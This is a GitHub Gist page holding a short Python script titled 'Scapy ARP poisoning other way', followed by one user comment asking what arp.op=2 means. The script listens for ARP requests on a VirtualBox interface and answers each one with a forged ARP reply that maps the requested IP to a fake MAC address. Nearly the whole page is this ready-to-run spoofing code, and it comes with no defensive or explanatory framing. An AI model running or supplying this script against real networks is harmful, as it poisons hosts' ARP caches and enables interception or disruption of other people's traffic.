Created
September 21, 2014 08:36
-
-
Save y0ug/ad16e5e0944607da05a0 to your computer and use it in GitHub Desktop.
Scapy ARP poisoning other way
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
from scapy.all import * | |
iface = "vboxnet1" | |
sleep = 1 | |
verbose = 1 | |
def arp_poison(psrc, pdst): | |
pkt = ARP() | |
pkt.psrc = psrc | |
pkt.pdst = pdst | |
pkt.hwsrc="de:ad:be:ef:00:00" | |
pkt.op = 2 | |
send(pkt, verbose=verbose, iface=iface) | |
#print p.show() | |
#try: | |
#time.sleep(args.freq) | |
#except KeyboardInterrupt: | |
#pass | |
def sniff_arp(): | |
while 1: | |
try: | |
a = sniff(filter="arp", count=1, iface=iface) | |
print a[0].show() | |
except KeyboardInterrupt: | |
pass | |
def arp_monitor_callback(pkt): | |
if ARP in pkt: | |
if pkt[ARP].op == 1: | |
arp_poison(pkt[ARP].pdst, pkt[ARP].psrc) | |
return pkt.sprintf("%ARP.hwsrc% (%ARP.psrc%) %ARP.op% %ARP.hwdst% (%ARP.pdst%)") | |
#if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at | |
if __name__ == "__main__": | |
#arp_poison() | |
#sniff_arp() | |
sniff(prn=arp_monitor_callback, filter="arp", store=0, iface=iface) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
i wanna know about the arp.op=2 what it mean